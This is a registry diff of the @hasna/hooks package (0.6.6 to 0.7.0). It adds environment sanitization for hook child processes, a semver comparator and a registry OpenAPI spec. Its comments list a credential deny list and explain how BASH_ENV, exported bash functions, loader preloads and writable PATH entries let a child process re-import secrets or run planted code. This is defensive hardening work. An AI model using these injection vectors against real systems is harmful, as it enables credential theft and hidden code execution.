@hasna/hooks 0.6.6 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/bin/index.js +1024 -461
- package/bin/serve.js +626 -158
- package/dist/config.d.ts +7 -5
- package/dist/db/pg-migrations.d.ts +1 -1
- package/dist/index.js +898 -340
- package/dist/lib/hook-env.d.ts +60 -4
- package/dist/lib/manifest.d.ts +11 -0
- package/dist/lib/semver.d.ts +27 -0
- package/dist/openapi.d.ts +216 -0
- package/dist/storage.js +34 -34
- package/hooks/codewith-native-common.test.ts +25 -25
- package/hooks/codewith-native-common.ts +1 -1
- package/hooks/hook-autoformat/package.json +1 -1
- package/hooks/hook-desktopnotify/package.json +1 -1
- package/hooks/hook-envsetup/package.json +1 -1
- package/hooks/hook-knowledge-context/README.md +1 -1
- package/hooks/hook-knowledge-context/src/hook.test.ts +1 -1
- package/hooks/hook-permissionguard/package.json +1 -1
- package/hooks/hook-protectfiles/package.json +1 -1
- package/hooks/hook-spiral-detector/LICENSE +191 -0
- package/hooks/hook-spiral-detector/README.md +23 -0
- package/hooks/hook-spiral-detector/package.json +12 -0
- package/hooks/hook-spiral-detector/src/hook.test.ts +72 -0
- package/hooks/hook-spiral-detector/src/hook.ts +93 -0
- package/hooks/hook-workspace-repos-guard/README.md +4 -3
- package/hooks/hook-workspace-repos-guard/src/hook.test.ts +7 -7
- package/hooks/hook-workspace-repos-guard/src/hook.ts +5 -3
- package/hooks/mention-context/src/hasna-mention-context.py +2 -2
- package/hooks/mention-context/src/hasna-mention-warm.py +1 -1
- package/hooks/pre-bash/README.md +1 -1
- package/hooks/prompt-guard/README.md +1 -1
- package/hooks/session-start/README.md +1 -1
- package/hooks/stop-sync/README.md +1 -1
- package/hooks/worktree-guard/README.md +1 -1
- package/package.json +10 -6
package/dist/lib/hook-env.d.ts
CHANGED
|
@@ -6,8 +6,10 @@
|
|
|
6
6
|
* parent's process.env wholesale hands every credential the agent can reach
|
|
7
7
|
* to arbitrary code. The child gets:
|
|
8
8
|
*
|
|
9
|
-
* 1. a fixed allowlist of non-secret session variables (
|
|
10
|
-
*
|
|
9
|
+
* 1. a fixed allowlist of non-secret session variables (HOME, LANG, TZ,
|
|
10
|
+
* SHELL, TERM, USER, PWD) plus PATH — PATH rebuilt from a trusted
|
|
11
|
+
* baseline with writable-directory entries removed (or a per-hook
|
|
12
|
+
* manifest env.PATH override, verbatim);
|
|
11
13
|
* 2. non-secret HOOKS_* projections of the parent's HASNA_HOOKS_* config
|
|
12
14
|
* (data dir, DB path, lock path, config path) so in-process DB/config
|
|
13
15
|
* resolution inside the hook still finds the store the parent configured;
|
|
@@ -24,6 +26,20 @@
|
|
|
24
26
|
* ANTHROPIC_, POSTGRES_, MYSQL_, REDIS_, MONGO_, MEMENTOS_
|
|
25
27
|
* contains: DATABASE_URL (any variant)
|
|
26
28
|
*
|
|
29
|
+
* The deny list alone is NOT the whole boundary (bug cf99cf76): it strips
|
|
30
|
+
* credential-shaped NAMES from the parent env, but a credential can be
|
|
31
|
+
* re-imported from a FILE through interpreter machinery. BASH_ENV tells bash
|
|
32
|
+
* to source a file before running any non-interactive script, and ENV does
|
|
33
|
+
* the same for interactive shells — a parent whose BASH_ENV points at e.g.
|
|
34
|
+
* hasna-cloud-env.sh hands the hook child a process that re-exports the
|
|
35
|
+
* fleet credential env AFTER the deny list ran. The interpreter-injection
|
|
36
|
+
* set below strips every variable that makes a child interpreter run or
|
|
37
|
+
* source code the hook did not ask for (sourcing vectors, interpreter option
|
|
38
|
+
* lists, module/startup injection, dynamic-loader preloads, TLS-trust
|
|
39
|
+
* redirection, gconv/locale module injection). Exact case-sensitive names:
|
|
40
|
+
* POSIX interpreters read these literals, and a differently-cased variant is
|
|
41
|
+
* an inert, unrelated variable.
|
|
42
|
+
*
|
|
27
43
|
* Names that merely resemble credentials (e.g. HOOKS_DATA_DIR) survive; a
|
|
28
44
|
* path is not a credential.
|
|
29
45
|
*/
|
|
@@ -32,11 +48,51 @@
|
|
|
32
48
|
* hook child process. Case-insensitive.
|
|
33
49
|
*/
|
|
34
50
|
export declare function isDeniedEnvName(name: string): boolean;
|
|
51
|
+
/**
|
|
52
|
+
* True when a variable NAME is interpreter-injection (bug cf99cf76): it can
|
|
53
|
+
* make a child interpreter run or source code the hook did not ask for.
|
|
54
|
+
* Exact case-sensitive match — interpreters read these literals verbatim.
|
|
55
|
+
*/
|
|
56
|
+
export declare function isInterpreterInjectionEnvName(name: string): boolean;
|
|
57
|
+
/**
|
|
58
|
+
* True when a variable NAME is a bash exported-function entry
|
|
59
|
+
* (BASH_FUNC_<name>%%): bash imports EXPORTED FUNCTIONS from the environment
|
|
60
|
+
* into the child shell, where they shadow commands (env/cat/git/node) and
|
|
61
|
+
* run attacker code on the hook's first command. The %% suffix is bash's
|
|
62
|
+
* export encoding; the prefix test covers every form (%% , single %, none).
|
|
63
|
+
*
|
|
64
|
+
* Aliases are deliberately NOT denied: bash cannot import aliases from the
|
|
65
|
+
* environment (BASH_ALIASES is an associative array and is never exported) —
|
|
66
|
+
* functions are the only env-importable code vector for bash, so the strip
|
|
67
|
+
* is precisely the BASH_FUNC_* prefix.
|
|
68
|
+
*/
|
|
69
|
+
export declare function isBashFunctionEnvName(name: string): boolean;
|
|
70
|
+
/**
|
|
71
|
+
* True when a PATH entry may hold attacker-controlled executables: an empty
|
|
72
|
+
* or relative entry (resolves against the child's cwd), an entry under the
|
|
73
|
+
* user's home, an entry under a shared tmp tree, or a world-writable
|
|
74
|
+
* directory (any user can drop a fake binary there).
|
|
75
|
+
*/
|
|
76
|
+
export declare function isUnsafePathEntry(entry: string, home: string | undefined): boolean;
|
|
77
|
+
/**
|
|
78
|
+
* Rebuild a PATH for the hook child from a trusted baseline: the system
|
|
79
|
+
* directories (plus /opt/homebrew/bin on macOS when present) and the
|
|
80
|
+
* runner's own bun directory (the interpreter the hook runs under, trusted
|
|
81
|
+
* by definition even when it lives under $HOME). Parent entries are kept
|
|
82
|
+
* only when they do not live under $HOME, /tmp, /var/tmp, or a world-writable
|
|
83
|
+
* path — a fake `node`/`git` planted in a writable directory must never
|
|
84
|
+
* execute on the hook's first command. An explicit per-hook env.PATH
|
|
85
|
+
* (manifest) override bypasses this entirely: the hook author declares the
|
|
86
|
+
* complete PATH it needs.
|
|
87
|
+
*/
|
|
88
|
+
export declare function sanitizeHookPath(pathValue: string, home: string | undefined): string;
|
|
35
89
|
/**
|
|
36
90
|
* Build the sanitized environment for a hook child process.
|
|
37
91
|
*
|
|
38
92
|
* `source` is the parent's environment; `extra` is any caller-supplied env
|
|
39
|
-
* the hook may need. The deny list
|
|
40
|
-
* reintroduce a credential-bearing name
|
|
93
|
+
* the hook may need. The deny list AND the interpreter-injection set apply
|
|
94
|
+
* to BOTH — a caller cannot reintroduce a credential-bearing name, and
|
|
95
|
+
* cannot reintroduce a variable that would make the child's interpreter
|
|
96
|
+
* source or run code (bug cf99cf76).
|
|
41
97
|
*/
|
|
42
98
|
export declare function buildHookEnv(source: Record<string, string | undefined>, extra?: Record<string, string | undefined>): Record<string, string>;
|
package/dist/lib/manifest.d.ts
CHANGED
|
@@ -18,11 +18,21 @@ export declare const manifestSchema: z.ZodObject<{
|
|
|
18
18
|
script_kind: z.ZodOptional<z.ZodEnum<["inline", "file"]>>;
|
|
19
19
|
args: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
|
|
20
20
|
timeout_ms: z.ZodOptional<z.ZodNumber>;
|
|
21
|
+
/**
|
|
22
|
+
* Per-hook environment passed to the hook child (reviewer efcad315).
|
|
23
|
+
* Every name is still filtered through the credential deny list and the
|
|
24
|
+
* interpreter-injection strip; `env.PATH` here is the documented way to
|
|
25
|
+
* override the sanitized default PATH — it is passed verbatim, bypassing
|
|
26
|
+
* PATH sanitization (the hook author declares the complete PATH the hook
|
|
27
|
+
* needs).
|
|
28
|
+
*/
|
|
29
|
+
env: z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodString>>;
|
|
21
30
|
}, "strip", z.ZodTypeAny, {
|
|
22
31
|
version: string;
|
|
23
32
|
events: string[];
|
|
24
33
|
name: string;
|
|
25
34
|
script: string;
|
|
35
|
+
env?: Record<string, string> | undefined;
|
|
26
36
|
description?: string | undefined;
|
|
27
37
|
script_kind?: "inline" | "file" | undefined;
|
|
28
38
|
args?: string[] | undefined;
|
|
@@ -32,6 +42,7 @@ export declare const manifestSchema: z.ZodObject<{
|
|
|
32
42
|
events: string[];
|
|
33
43
|
name: string;
|
|
34
44
|
script: string;
|
|
45
|
+
env?: Record<string, string> | undefined;
|
|
35
46
|
description?: string | undefined;
|
|
36
47
|
script_kind?: "inline" | "file" | undefined;
|
|
37
48
|
args?: string[] | undefined;
|
package/dist/lib/semver.d.ts
CHANGED
|
@@ -7,6 +7,13 @@
|
|
|
7
7
|
* while the artifact routes demanded a bare `\d+\.\d+\.\d+` at the end of
|
|
8
8
|
* the path, so a pinned prerelease install 404'd. This is the one pattern:
|
|
9
9
|
* full semver with optional prerelease and build metadata.
|
|
10
|
+
*
|
|
11
|
+
* Numeric identifiers are STRICT (reviewer efcad315): per semver.org §2,
|
|
12
|
+
* numeric identifiers MUST NOT carry leading zeroes ("1.0.0-01" is not
|
|
13
|
+
* "1.0.0-1" — it is not semver at all), and identifiers longer than 16
|
|
14
|
+
* digits are rejected as invalid so no surface can ever store a version the
|
|
15
|
+
* comparator cannot order exactly (Number() precision ends at
|
|
16
|
+
* MAX_SAFE_INTEGER; the comparator itself uses BigInt, see compareVersions).
|
|
10
17
|
*/
|
|
11
18
|
export declare const SEMVER_PATTERN: RegExp;
|
|
12
19
|
/**
|
|
@@ -17,3 +24,23 @@ export declare const SEMVER_PATTERN: RegExp;
|
|
|
17
24
|
export declare const SEMVER_PATH_SEGMENT = "[0-9A-Za-z.+_-]+";
|
|
18
25
|
export declare function isValidSemver(value: string): boolean;
|
|
19
26
|
export declare function semverError(value: string): string;
|
|
27
|
+
/**
|
|
28
|
+
* Full semver precedence (semver.org §11), shared by every surface that
|
|
29
|
+
* must ORDER published versions — the registry latest pointer (bug
|
|
30
|
+
* 6e412e52) compares with this and nothing else.
|
|
31
|
+
*
|
|
32
|
+
* Returns <0 when a sorts before b, 0 when equal, >0 when a sorts after b.
|
|
33
|
+
* Build metadata never participates. Prerelease identifiers compare by the
|
|
34
|
+
* spec's rules: numeric identifiers numerically, numeric before alphanumeric,
|
|
35
|
+
* fewer identifiers before more, release before any prerelease.
|
|
36
|
+
*
|
|
37
|
+
* Numeric identifiers compare as BigInt (reviewer efcad315): Number()
|
|
38
|
+
* loses precision past MAX_SAFE_INTEGER, which made near-16-digit numeric
|
|
39
|
+
* identifiers compare equal and made "1.0.0-01" vs "1.0.0-1" compare >0 in
|
|
40
|
+
* BOTH directions (Number("01") === Number("1") while the strings differ).
|
|
41
|
+
* BigInt keeps the comparison exact and antisymmetric at any length; the
|
|
42
|
+
* validation pattern rejects leading-zero and >16-digit identifiers as
|
|
43
|
+
* invalid, and this comparator stays correct even if an old invalid value
|
|
44
|
+
* ever reaches it.
|
|
45
|
+
*/
|
|
46
|
+
export declare function compareVersions(a: string, b: string): number;
|
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
export declare const openApiDocument: {
|
|
2
|
+
readonly openapi: "3.1.0";
|
|
3
|
+
readonly info: {
|
|
4
|
+
readonly title: "Hooks Registry API";
|
|
5
|
+
readonly version: "0.1.0";
|
|
6
|
+
readonly description: "Local registry HTTP API for @hasna/hooks: catalog, lock, and artifact reads are open; publishing (PUT /api/v1/hooks) requires the API key (authorization: Bearer or x-api-key).";
|
|
7
|
+
};
|
|
8
|
+
readonly servers: readonly [{
|
|
9
|
+
readonly url: "/";
|
|
10
|
+
}];
|
|
11
|
+
readonly paths: {
|
|
12
|
+
readonly "/health": {
|
|
13
|
+
readonly get: {
|
|
14
|
+
readonly summary: "Liveness probe";
|
|
15
|
+
readonly operationId: "getHealth";
|
|
16
|
+
readonly responses: {
|
|
17
|
+
readonly "200": {
|
|
18
|
+
readonly description: "Service is alive";
|
|
19
|
+
readonly content: {
|
|
20
|
+
readonly "application/json": {
|
|
21
|
+
readonly schema: {
|
|
22
|
+
readonly type: "object";
|
|
23
|
+
readonly additionalProperties: true;
|
|
24
|
+
};
|
|
25
|
+
};
|
|
26
|
+
};
|
|
27
|
+
};
|
|
28
|
+
};
|
|
29
|
+
};
|
|
30
|
+
};
|
|
31
|
+
readonly "/ready": {
|
|
32
|
+
readonly get: {
|
|
33
|
+
readonly summary: "Readiness probe — the hooks.lock store is readable";
|
|
34
|
+
readonly operationId: "getReady";
|
|
35
|
+
readonly responses: {
|
|
36
|
+
readonly "200": {
|
|
37
|
+
readonly description: "Lock store is readable";
|
|
38
|
+
};
|
|
39
|
+
readonly "503": {
|
|
40
|
+
readonly description: "Lock store is not readable";
|
|
41
|
+
};
|
|
42
|
+
};
|
|
43
|
+
};
|
|
44
|
+
};
|
|
45
|
+
readonly "/version": {
|
|
46
|
+
readonly get: {
|
|
47
|
+
readonly summary: "Package version";
|
|
48
|
+
readonly operationId: "getVersion";
|
|
49
|
+
readonly responses: {
|
|
50
|
+
readonly "200": {
|
|
51
|
+
readonly description: "The installed @hasna/hooks version";
|
|
52
|
+
readonly content: {
|
|
53
|
+
readonly "application/json": {
|
|
54
|
+
readonly schema: {
|
|
55
|
+
readonly type: "object";
|
|
56
|
+
readonly properties: {
|
|
57
|
+
readonly version: {
|
|
58
|
+
readonly type: "string";
|
|
59
|
+
};
|
|
60
|
+
};
|
|
61
|
+
};
|
|
62
|
+
};
|
|
63
|
+
};
|
|
64
|
+
};
|
|
65
|
+
};
|
|
66
|
+
};
|
|
67
|
+
};
|
|
68
|
+
readonly "/openapi.json": {
|
|
69
|
+
readonly get: {
|
|
70
|
+
readonly summary: "This OpenAPI document";
|
|
71
|
+
readonly operationId: "getOpenApi";
|
|
72
|
+
readonly responses: {
|
|
73
|
+
readonly "200": {
|
|
74
|
+
readonly description: "OpenAPI 3.1 document";
|
|
75
|
+
};
|
|
76
|
+
};
|
|
77
|
+
};
|
|
78
|
+
};
|
|
79
|
+
readonly "/api/v1/catalog": {
|
|
80
|
+
readonly get: {
|
|
81
|
+
readonly summary: "List the full hook catalog with versions and sha256";
|
|
82
|
+
readonly operationId: "getCatalog";
|
|
83
|
+
readonly responses: {
|
|
84
|
+
readonly "200": {
|
|
85
|
+
readonly description: "Catalog entries";
|
|
86
|
+
readonly content: {
|
|
87
|
+
readonly "application/json": {
|
|
88
|
+
readonly schema: {
|
|
89
|
+
readonly type: "object";
|
|
90
|
+
readonly properties: {
|
|
91
|
+
readonly hooks: {
|
|
92
|
+
readonly type: "array";
|
|
93
|
+
readonly items: {
|
|
94
|
+
readonly type: "object";
|
|
95
|
+
readonly properties: {
|
|
96
|
+
readonly name: {
|
|
97
|
+
readonly type: "string";
|
|
98
|
+
};
|
|
99
|
+
readonly version: {
|
|
100
|
+
readonly type: "string";
|
|
101
|
+
};
|
|
102
|
+
readonly sha256: {
|
|
103
|
+
readonly type: "string";
|
|
104
|
+
};
|
|
105
|
+
readonly events: {
|
|
106
|
+
readonly type: "array";
|
|
107
|
+
readonly items: {
|
|
108
|
+
readonly type: "string";
|
|
109
|
+
};
|
|
110
|
+
};
|
|
111
|
+
};
|
|
112
|
+
};
|
|
113
|
+
};
|
|
114
|
+
};
|
|
115
|
+
};
|
|
116
|
+
};
|
|
117
|
+
};
|
|
118
|
+
};
|
|
119
|
+
};
|
|
120
|
+
};
|
|
121
|
+
};
|
|
122
|
+
readonly "/api/v1/lock": {
|
|
123
|
+
readonly get: {
|
|
124
|
+
readonly summary: "Read the published hooks.lock with per-hook versions";
|
|
125
|
+
readonly operationId: "getLock";
|
|
126
|
+
readonly responses: {
|
|
127
|
+
readonly "200": {
|
|
128
|
+
readonly description: "The lock file";
|
|
129
|
+
};
|
|
130
|
+
};
|
|
131
|
+
};
|
|
132
|
+
};
|
|
133
|
+
readonly "/api/v1/hooks/{name}/{version}": {
|
|
134
|
+
readonly get: {
|
|
135
|
+
readonly summary: "Fetch one hook's manifest and script";
|
|
136
|
+
readonly operationId: "getHookArtifact";
|
|
137
|
+
readonly parameters: readonly [{
|
|
138
|
+
readonly name: "name";
|
|
139
|
+
readonly in: "path";
|
|
140
|
+
readonly required: true;
|
|
141
|
+
readonly schema: {
|
|
142
|
+
readonly type: "string";
|
|
143
|
+
};
|
|
144
|
+
}, {
|
|
145
|
+
readonly name: "version";
|
|
146
|
+
readonly in: "path";
|
|
147
|
+
readonly required: true;
|
|
148
|
+
readonly schema: {
|
|
149
|
+
readonly type: "string";
|
|
150
|
+
};
|
|
151
|
+
}];
|
|
152
|
+
readonly responses: {
|
|
153
|
+
readonly "200": {
|
|
154
|
+
readonly description: "Hook artifact; x-hook-sha256 header carries the script hash";
|
|
155
|
+
};
|
|
156
|
+
readonly "400": {
|
|
157
|
+
readonly description: "Invalid URL encoding or semver version";
|
|
158
|
+
};
|
|
159
|
+
readonly "404": {
|
|
160
|
+
readonly description: "Hook not found locally";
|
|
161
|
+
};
|
|
162
|
+
};
|
|
163
|
+
};
|
|
164
|
+
};
|
|
165
|
+
readonly "/api/v1/hooks": {
|
|
166
|
+
readonly put: {
|
|
167
|
+
readonly summary: "Publish/retrust a hook (requires the API key)";
|
|
168
|
+
readonly operationId: "putHook";
|
|
169
|
+
readonly requestBody: {
|
|
170
|
+
readonly required: true;
|
|
171
|
+
readonly content: {
|
|
172
|
+
readonly "application/json": {
|
|
173
|
+
readonly schema: {
|
|
174
|
+
readonly type: "object";
|
|
175
|
+
readonly properties: {
|
|
176
|
+
readonly name: {
|
|
177
|
+
readonly type: "string";
|
|
178
|
+
};
|
|
179
|
+
readonly version: {
|
|
180
|
+
readonly type: "string";
|
|
181
|
+
};
|
|
182
|
+
};
|
|
183
|
+
};
|
|
184
|
+
};
|
|
185
|
+
};
|
|
186
|
+
};
|
|
187
|
+
readonly responses: {
|
|
188
|
+
readonly "200": {
|
|
189
|
+
readonly description: "Hook retrusted and pin updated";
|
|
190
|
+
};
|
|
191
|
+
readonly "401": {
|
|
192
|
+
readonly description: "Missing or invalid API key";
|
|
193
|
+
};
|
|
194
|
+
readonly "404": {
|
|
195
|
+
readonly description: "Hook not found in local store";
|
|
196
|
+
};
|
|
197
|
+
readonly "409": {
|
|
198
|
+
readonly description: "Version mismatch with the local store";
|
|
199
|
+
};
|
|
200
|
+
};
|
|
201
|
+
readonly security: readonly [{
|
|
202
|
+
readonly apiKey: readonly [];
|
|
203
|
+
}];
|
|
204
|
+
};
|
|
205
|
+
};
|
|
206
|
+
};
|
|
207
|
+
readonly components: {
|
|
208
|
+
readonly securitySchemes: {
|
|
209
|
+
readonly apiKey: {
|
|
210
|
+
readonly type: "http";
|
|
211
|
+
readonly scheme: "bearer";
|
|
212
|
+
readonly description: "The registry API key (HASNA_HOOKS_API_KEY / HOOKS_API_KEY).";
|
|
213
|
+
};
|
|
214
|
+
};
|
|
215
|
+
};
|
|
216
|
+
};
|
package/dist/storage.js
CHANGED
|
@@ -49,7 +49,7 @@ function up(db) {
|
|
|
49
49
|
db.exec(idx);
|
|
50
50
|
}
|
|
51
51
|
}
|
|
52
|
-
var
|
|
52
|
+
var init__001_initial = __esm(() => {
|
|
53
53
|
init_schema();
|
|
54
54
|
});
|
|
55
55
|
|
|
@@ -78,7 +78,7 @@ function up2(db) {
|
|
|
78
78
|
throw err;
|
|
79
79
|
}
|
|
80
80
|
}
|
|
81
|
-
var
|
|
81
|
+
var init__002_session_events = __esm(() => {
|
|
82
82
|
init_schema();
|
|
83
83
|
});
|
|
84
84
|
|
|
@@ -107,7 +107,7 @@ function up3(db) {
|
|
|
107
107
|
throw err;
|
|
108
108
|
}
|
|
109
109
|
}
|
|
110
|
-
var
|
|
110
|
+
var init__003_user_prompt_submit_event = __esm(() => {
|
|
111
111
|
init_schema();
|
|
112
112
|
});
|
|
113
113
|
|
|
@@ -131,7 +131,7 @@ var CREATE_HOOKS_TABLE = `
|
|
|
131
131
|
last_verified_at TEXT
|
|
132
132
|
)
|
|
133
133
|
`, CREATE_HOOKS_INDEXES;
|
|
134
|
-
var
|
|
134
|
+
var init__004_hooks_table = __esm(() => {
|
|
135
135
|
CREATE_HOOKS_INDEXES = [
|
|
136
136
|
`CREATE INDEX IF NOT EXISTS idx_hooks_name ON hooks (name)`
|
|
137
137
|
];
|
|
@@ -162,7 +162,7 @@ function up5(db) {
|
|
|
162
162
|
throw err;
|
|
163
163
|
}
|
|
164
164
|
}
|
|
165
|
-
var
|
|
165
|
+
var init__005_subagent_start_event = __esm(() => {
|
|
166
166
|
init_schema();
|
|
167
167
|
});
|
|
168
168
|
|
|
@@ -194,11 +194,11 @@ function runMigrations(db) {
|
|
|
194
194
|
}
|
|
195
195
|
var MIGRATIONS;
|
|
196
196
|
var init_migrations = __esm(() => {
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
197
|
+
init__001_initial();
|
|
198
|
+
init__002_session_events();
|
|
199
|
+
init__003_user_prompt_submit_event();
|
|
200
|
+
init__004_hooks_table();
|
|
201
|
+
init__005_subagent_start_event();
|
|
202
202
|
MIGRATIONS = [
|
|
203
203
|
{ version: "001_initial", up },
|
|
204
204
|
{ version: "002_session_events", up: up2 },
|
|
@@ -888,29 +888,29 @@ function coerceForSqlite(value) {
|
|
|
888
888
|
return String(value);
|
|
889
889
|
}
|
|
890
890
|
export {
|
|
891
|
-
|
|
892
|
-
storagePush,
|
|
893
|
-
storagePull,
|
|
894
|
-
runStorageMigrations,
|
|
895
|
-
resolveTables,
|
|
896
|
-
parseStorageTables,
|
|
897
|
-
getSyncMetaAll,
|
|
898
|
-
getStorageStatus,
|
|
899
|
-
getStoragePg,
|
|
900
|
-
getStorageDatabaseUrl,
|
|
901
|
-
getStorageDatabaseEnvName,
|
|
902
|
-
getStorageDatabaseEnv,
|
|
903
|
-
getStorageBackend,
|
|
904
|
-
STORAGE_TABLES,
|
|
905
|
-
STORAGE_DATABASE_ENV,
|
|
906
|
-
STORAGE_BACKEND_ENV,
|
|
907
|
-
STORAGE_BACKENDS,
|
|
908
|
-
RETIRED_STORAGE_MODE_ENV,
|
|
909
|
-
PgAdapterAsync,
|
|
910
|
-
PG_MIGRATIONS,
|
|
911
|
-
HOOKS_STORAGE_TABLES,
|
|
912
|
-
HOOKS_STORAGE_FALLBACK_ENV,
|
|
913
|
-
HOOKS_STORAGE_ENV,
|
|
891
|
+
HOOKS_STORAGE_BACKEND_ENV,
|
|
914
892
|
HOOKS_STORAGE_BACKEND_FALLBACK_ENV,
|
|
915
|
-
|
|
893
|
+
HOOKS_STORAGE_ENV,
|
|
894
|
+
HOOKS_STORAGE_FALLBACK_ENV,
|
|
895
|
+
HOOKS_STORAGE_TABLES,
|
|
896
|
+
PG_MIGRATIONS,
|
|
897
|
+
PgAdapterAsync,
|
|
898
|
+
RETIRED_STORAGE_MODE_ENV,
|
|
899
|
+
STORAGE_BACKENDS,
|
|
900
|
+
STORAGE_BACKEND_ENV,
|
|
901
|
+
STORAGE_DATABASE_ENV,
|
|
902
|
+
STORAGE_TABLES,
|
|
903
|
+
getStorageBackend,
|
|
904
|
+
getStorageDatabaseEnv,
|
|
905
|
+
getStorageDatabaseEnvName,
|
|
906
|
+
getStorageDatabaseUrl,
|
|
907
|
+
getStoragePg,
|
|
908
|
+
getStorageStatus,
|
|
909
|
+
getSyncMetaAll,
|
|
910
|
+
parseStorageTables,
|
|
911
|
+
resolveTables,
|
|
912
|
+
runStorageMigrations,
|
|
913
|
+
storagePull,
|
|
914
|
+
storagePush,
|
|
915
|
+
storageSync
|
|
916
916
|
};
|
|
@@ -85,11 +85,11 @@ describe("codewith native common helpers", () => {
|
|
|
85
85
|
};
|
|
86
86
|
|
|
87
87
|
test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
|
|
88
|
-
const worktreeRoot = makeWorktree("
|
|
88
|
+
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
89
89
|
const info = managedWorktreeInfo(worktreeRoot);
|
|
90
90
|
expect(info.managed).toBe(true);
|
|
91
91
|
expect(info.layout).toBe("canonical");
|
|
92
|
-
expect(info.repo).toBe("
|
|
92
|
+
expect(info.repo).toBe("hooks");
|
|
93
93
|
expect(info.worktree).toBe("OPE61-00004-worktree-guard");
|
|
94
94
|
expect(info.worktreeRoot).toBe(worktreeRoot);
|
|
95
95
|
expect(info.deprecated).toBeUndefined();
|
|
@@ -97,7 +97,7 @@ describe("codewith native common helpers", () => {
|
|
|
97
97
|
|
|
98
98
|
test("accepts a canonical path whose checkout is a standalone repo", () => {
|
|
99
99
|
// Rule 8 governs where the checkout lives, not whether it is a linked worktree.
|
|
100
|
-
expect(managedWorktreeInfo(makeWorktree("
|
|
100
|
+
expect(managedWorktreeInfo(makeWorktree("hooks", "standalone", "standalone")).managed).toBe(true);
|
|
101
101
|
});
|
|
102
102
|
|
|
103
103
|
test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
|
|
@@ -143,7 +143,7 @@ describe("codewith native common helpers", () => {
|
|
|
143
143
|
|
|
144
144
|
test("rejects a worktree whose repository no longer registers it", () => {
|
|
145
145
|
// Real fleet state: the parent repo was pruned, so git itself refuses to work here.
|
|
146
|
-
const worktreeRoot = makeWorktree("
|
|
146
|
+
const worktreeRoot = makeWorktree("hooks", "orphaned");
|
|
147
147
|
rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
|
|
148
148
|
writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
|
|
149
149
|
|
|
@@ -151,7 +151,7 @@ describe("codewith native common helpers", () => {
|
|
|
151
151
|
});
|
|
152
152
|
|
|
153
153
|
test("accepts subdirectories of a canonical worktree", () => {
|
|
154
|
-
const worktreeRoot = makeWorktree("
|
|
154
|
+
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
155
155
|
mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
|
|
156
156
|
|
|
157
157
|
for (const nested of [
|
|
@@ -168,7 +168,7 @@ describe("codewith native common helpers", () => {
|
|
|
168
168
|
test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
|
|
169
169
|
// The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
|
|
170
170
|
// shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
|
|
171
|
-
const flat = join(root, "
|
|
171
|
+
const flat = join(root, "hooks-flat-worktree");
|
|
172
172
|
mkdirSync(join(flat, "src"), { recursive: true });
|
|
173
173
|
git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
|
|
174
174
|
|
|
@@ -188,17 +188,17 @@ describe("codewith native common helpers", () => {
|
|
|
188
188
|
const shared = join(tmp, "shared-checkout");
|
|
189
189
|
mkdirSync(shared, { recursive: true });
|
|
190
190
|
writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
|
|
191
|
-
mkdirSync(join(root, "
|
|
192
|
-
symlinkSync(shared, join(root, "
|
|
191
|
+
mkdirSync(join(root, "hooks"), { recursive: true });
|
|
192
|
+
symlinkSync(shared, join(root, "hooks", "linked"));
|
|
193
193
|
symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
|
|
194
194
|
mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
|
|
195
195
|
|
|
196
|
-
expect(managedWorktreeInfo(join(root, "
|
|
196
|
+
expect(managedWorktreeInfo(join(root, "hooks", "linked")).reason).toContain("traverses a symlink");
|
|
197
197
|
expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
|
|
198
198
|
});
|
|
199
199
|
|
|
200
200
|
test("rejects a flat single-segment worktree under the worktrees root", () => {
|
|
201
|
-
const info = managedWorktreeInfo(join(root, "
|
|
201
|
+
const info = managedWorktreeInfo(join(root, "hooks-flat-worktree"));
|
|
202
202
|
expect(info.managed).toBe(false);
|
|
203
203
|
expect(info.layout).toBeUndefined();
|
|
204
204
|
expect(info.reason).toContain("flat under the worktrees root");
|
|
@@ -212,19 +212,19 @@ describe("codewith native common helpers", () => {
|
|
|
212
212
|
});
|
|
213
213
|
|
|
214
214
|
test("rejects paths outside the worktrees root", () => {
|
|
215
|
-
const info = managedWorktreeInfo(join(tmp, "elsewhere", "
|
|
215
|
+
const info = managedWorktreeInfo(join(tmp, "elsewhere", "hooks"));
|
|
216
216
|
expect(info.managed).toBe(false);
|
|
217
217
|
expect(info.reason).toBe("outside worktrees root");
|
|
218
218
|
});
|
|
219
219
|
|
|
220
220
|
test("rejects a station-id segment in front of <repo>/<worktree>", () => {
|
|
221
|
-
const info = managedWorktreeInfo(join(root, "station01", "
|
|
221
|
+
const info = managedWorktreeInfo(join(root, "station01", "hooks", "OPE61-00004-worktree-guard"));
|
|
222
222
|
expect(info.managed).toBe(false);
|
|
223
223
|
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
224
224
|
expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
|
|
225
225
|
});
|
|
226
226
|
|
|
227
|
-
const LEASE = ["station01", "
|
|
227
|
+
const LEASE = ["station01", "hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
|
|
228
228
|
|
|
229
229
|
/** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
|
|
230
230
|
const makeLeaseWorktree = (nested: boolean): string => {
|
|
@@ -278,7 +278,7 @@ describe("codewith native common helpers", () => {
|
|
|
278
278
